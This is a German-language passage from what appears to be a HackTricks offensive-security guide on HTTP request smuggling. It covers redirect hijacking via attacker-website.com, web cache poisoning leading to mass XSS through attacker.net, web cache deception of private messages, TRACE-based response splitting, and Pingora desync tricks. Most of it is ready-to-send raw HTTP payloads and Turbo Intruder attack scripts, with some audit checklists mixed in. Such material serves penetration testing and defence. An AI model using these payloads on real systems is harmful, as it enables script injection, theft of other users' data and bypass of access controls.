Diese geschmuggelte Request könnte dazu führen, dass die als Nächstes verarbeitete User-Request zu einer von einem Angreifer kontrollierten Website umgeleitet wird:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Ergebnisse in:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

In diesem Szenario wird die Anfrage eines Benutzers nach einer JavaScript-Datei gekapert. Der Angreifer kann den Benutzer potenziell kompromittieren, indem er bösartiges JavaScript als Antwort ausliefert.

Exploiting Web Cache Poisoning via HTTP Request Smuggling

Web cache poisoning kann ausgeführt werden, wenn irgendeine Komponente der Front-end-Infrastruktur Inhalte cached, typischerweise um die Performance zu verbessern. Durch Manipulation der Server-Antwort ist es möglich, den cache zu poison.

Zuvor haben wir beobachtet, wie Server-Antworten so verändert werden konnten, dass sie einen 404-Fehler zurückgeben (siehe Basic Examples). Ebenso ist es möglich, den Server dazu zu bringen, /index.html-Inhalte als Antwort auf eine Anfrage nach /static/include.js auszuliefern. Dadurch wird der Inhalt von /static/include.js im cache durch den von /index.html ersetzt, sodass /static/include.js für Benutzer nicht mehr zugänglich ist, was potenziell zu einer Denial of Service (DoS) führen kann.

Diese Technik wird besonders wirksam, wenn eine Open Redirect-Schwachstelle entdeckt wird oder wenn es einen on-site redirect zu einem open redirect gibt. Solche Schwachstellen können ausgenutzt werden, um den gecachten Inhalt von /static/include.js durch ein Skript unter der Kontrolle des Angreifers zu ersetzen und damit im Wesentlichen einen weitreichenden Cross-Site Scripting (XSS)-Angriff gegen alle Clients zu ermöglichen, die die aktualisierte /static/include.js anfordern.

Unten ist eine Illustration des Exploitings von cache poisoning kombiniert mit einem on-site redirect zu open redirect. Das Ziel ist es, den cache-Inhalt von /static/include.js so zu verändern, dass JavaScript-Code unter der Kontrolle des Angreifers ausgeliefert wird:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Beachten Sie die eingebettete Request an /post/next?postId=3. Diese Request wird zu /post?postId=4 umgeleitet und nutzt den Host header value, um die Domain zu bestimmen. Durch das Ändern des Host header kann der Angreifer die Request auf seine Domain umleiten (on-site redirect to open redirect).

Nach erfolgreichem socket poisoning sollte eine GET request für /static/include.js initiiert werden. Diese Request wird durch die vorherige on-site redirect to open redirect-Request verunreinigt und lädt den Inhalt des von Angreifer kontrollierten Scripts.

Anschließend wird jede Request an /static/include.js den gecachten Inhalt des Scripts des Angreifers ausliefern und damit effektiv einen breiten XSS-Angriff starten.

Using HTTP request smuggling to perform web cache deception

What is the difference between web cache poisoning and web cache deception?

  • Bei web cache poisoning bringt der Angreifer die Anwendung dazu, einige schädliche Inhalte im Cache zu speichern, und diese Inhalte werden aus dem Cache an andere Benutzer der Anwendung ausgeliefert.
  • Bei web cache deception bringt der Angreifer die Anwendung dazu, einige sensible Inhalte, die einem anderen Benutzer gehören, im Cache zu speichern, und der Angreifer ruft diese Inhalte anschließend aus dem Cache ab.

Der Angreifer konstruiert eine geschmuggelte Request, die sensible benutzerspezifische Inhalte abruft. Betrachten Sie das folgende Beispiel:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Wenn diese geschmuggelte Anfrage einen Cache-Eintrag vergiftet, der für statische Inhalte gedacht ist (z. B. /someimage.png), könnten die sensiblen Daten des Opfers aus /private/messages unter dem Cache-Eintrag des statischen Inhalts zwischengespeichert werden. Dadurch könnte der Angreifer möglicherweise diese zwischengespeicherten sensiblen Daten abrufen.

Abusing TRACE via HTTP Request Smuggling

In diesem Beitrag wird vorgeschlagen, dass, wenn der Server die Methode TRACE aktiviert hat, es möglich sein könnte, sie mit einem HTTP Request Smuggling auszunutzen. Das liegt daran, dass diese Methode jeden an den Server gesendeten Header als Teil des Antwort-Bodys zurückspiegelt. Zum Beispiel:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Wird eine Antwort senden wie:

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Ein Beispiel, wie man dieses Verhalten ausnutzen kann, wäre, zuerst eine HEAD request zu smugglen. Auf diese request wird nur mit den headers einer GET request geantwortet (Content-Type darunter). Und direkt nach der HEAD eine TRACE request zu smugglen, die die gesendeten Daten reflektiert.
Da die HEAD response einen Content-Length header enthält, wird die TRACE request response als body der HEAD response behandelt, wodurch beliebige Daten in der response reflektiert werden.
Diese response wird an die nächste request über die connection gesendet, sodass dies beispielsweise in einer gecachten JS-Datei verwendet werden könnte, um beliebigen JS code einzuschleusen.

TRACE via HTTP Response Splitting ausnutzen

Weiter folgt diesem post wird eine weitere Möglichkeit vorgeschlagen, die TRACE method auszunutzen. Wie kommentiert, ist es durch das Smuggling einer HEAD request und einer TRACE request möglich, einige reflektierte Daten in der response auf die HEAD request zu kontrollieren. Die Länge des body der HEAD request wird im Wesentlichen durch den Content-Length header angegeben und wird durch die response auf die TRACE request gebildet.

Daher wäre die neue Idee, dass man, wenn man diesen Content-Length und die in der TRACE response gegebenen Daten kennt, die TRACE response so gestalten kann, dass sie nach dem letzten Byte des Content-Length eine gültige HTTP response enthält. So kann ein Angreifer die request zur nächsten response vollständig kontrollieren (was für ein cache poisoning genutzt werden könnte).

Example:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Wird diese Antworten erzeugen (beachte, wie die HEAD-Antwort einen Content-Length hat, wodurch der TRACE-Response Teil des HEAD-Body wird, und sobald das HEAD Content-Length endet, wird eine gültige HTTP-Antwort smuggelt):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Weaponizing HTTP Request Smuggling with HTTP Response Desynchronisation

Hast du eine HTTP Request Smuggling-Schwachstelle gefunden und weißt nicht, wie du sie ausnutzen kannst? Probiere diese anderen Exploitation-Methoden:

HTTP Response Smuggling / Desync

Other HTTP Request Smuggling Techniques

  • Browser HTTP Request Smuggling (Client Side)

Browser HTTP Request Smuggling

  • Request Smuggling in HTTP/2 Downgrades

Request Smuggling in HTTP/2 Downgrades

Turbo intruder scripts

CL.TE

Von https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Von: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Reverse-proxy parsing footguns (Pingora 2026)

Mehrere Pingora-Bugs aus 2026 sind nützlich, weil sie desync-Primitives jenseits des klassischen CL.TE / TE.CL zeigen. Die wiederverwendbare Lektion ist: immer wenn ein Proxy zu früh mit dem Parsen aufhört, Transfer-Encoding anders als das Backend normalisiert oder für Request Bodies auf read-until-close zurückfällt, kannst du FE↔BE desync bekommen, selbst ohne eine traditionelle CL/TE-Ambiguität.

Premature Upgrade passthrough

Wenn ein Reverse Proxy sofort in den raw tunnel / passthrough mode wechselt, sobald er ein Upgrade-Header sieht, ohne darauf zu warten, dass das Backend den Wechsel mit 101 Switching Protocols bestätigt, kannst du eine zweite Request im selben TCP-Stream smugglen:

GET / HTTP/1.1
Host: target.com
Upgrade: anything
Content-Length: 0

GET /admin HTTP/1.1
Host: target.com

Das Front-end parst nur die erste Request und leitet dann den Rest als rohe Bytes weiter. Das Backend parst die angehängten Bytes als neue Request von der vertrauenswürdigen IP des Proxys. Das ist besonders nützlich, um:

  • Proxy ACLs, WAF rules, auth checks und rate limits zu umgehen.
  • Nur intern erreichbare Endpunkte zu erreichen, die die Reverse-Proxy-IP vertrauen.
  • cross-user response queue poisoning auf wiederverwendeten Backend-Verbindungen auszulösen.

Beim Audit von Proxies immer testen, ob irgendein Upgrade-Wert passthrough auslöst, und prüfen, ob der Wechsel vor oder nach der Backend-Antwort mit 101 passiert.

Transfer-Encoding normalization bugs + HTTP/1.0 close-delimited fallback

Ein weiteres nützliches Muster ist:

  1. Der Proxy erkennt, dass Transfer-Encoding vorhanden ist, und entfernt daher Content-Length.
  2. Der Proxy normalisiert TE nicht korrekt.
  3. Der Proxy hat jetzt kein erkanntes framing und fällt für HTTP/1.0 auf close-delimited request bodies zurück.
  4. Das Backend versteht TE korrekt und behandelt Bytes nach 0\r\n\r\n als neue Request.

Häufige Wege, dies auszulösen:

  • Comma-separated TE list not parsed:
GET / HTTP/1.0
Host: target.com
Connection: keep-alive
Transfer-Encoding: identity, chunked
Content-Length: 29

0

GET /admin HTTP/1.1
X:
  • Duplicate TE headers not merged:
POST /legit HTTP/1.0
Host: target.com
Connection: keep-alive
Transfer-Encoding: identity
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.com
X:

Die wichtigen Audit-Checks sind:

  • Parst das Front-end den letzten TE-Token, wie es erforderlich ist, wenn chunked zuletzt steht?
  • Verwendet es alle Transfer-Encoding-Header statt nur den ersten?
  • Kannst du HTTP/1.0 erzwingen, um einen Read-until-Close-Body-Modus auszulösen?
  • Erlaubt der Proxy jemals close-delimited request bodies? Das ist für sich genommen schon ein hochgradiges desync-Indiz.

Diese Klasse sieht von außen oft wie CL.TE aus, aber das eigentliche Primitive ist: TE present –> CL stripped –> no valid framing recognized –> request body forwarded until close.

Verwandtes cache poisoning Primitive: path-only cache keys

Dasselbe Pingora-Audit deckte auch ein gefährliches Reverse-Proxy-cache-Anti-Pattern auf: den cache key nur aus dem URI path abzuleiten und dabei Host, Scheme oder Port zu ignorieren. In Multi-Tenant- oder Multi-Vhost-Deployments können dadurch verschiedene Hosts auf denselben cache-Eintrag kollidieren:

GET /api/data HTTP/1.1
Host: evil.com

GET /api/data HTTP/1.1
Host: victim.com

Wenn beide Requests auf denselben Cache-Key (/api/data) abbilden, kann ein Tenant Inhalte für einen anderen vergiften. Wenn der Origin den Host-Header in Redirects, CORS, HTML oder Script-URLs reflektiert, kann eine niedrigwertige Host-Reflexion zu cross-user stored cache poisoning werden.

Beim Prüfen von Caches solltest du bestätigen, dass der Key mindestens Folgendes enthält:

  • Host / Virtual-Host-Identität
  • scheme (http vs https), wenn sich das Verhalten unterscheidet
  • port, wenn mehrere Anwendungen denselben Cache-Namespace teilen

Tools

References

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).

Support HackTricks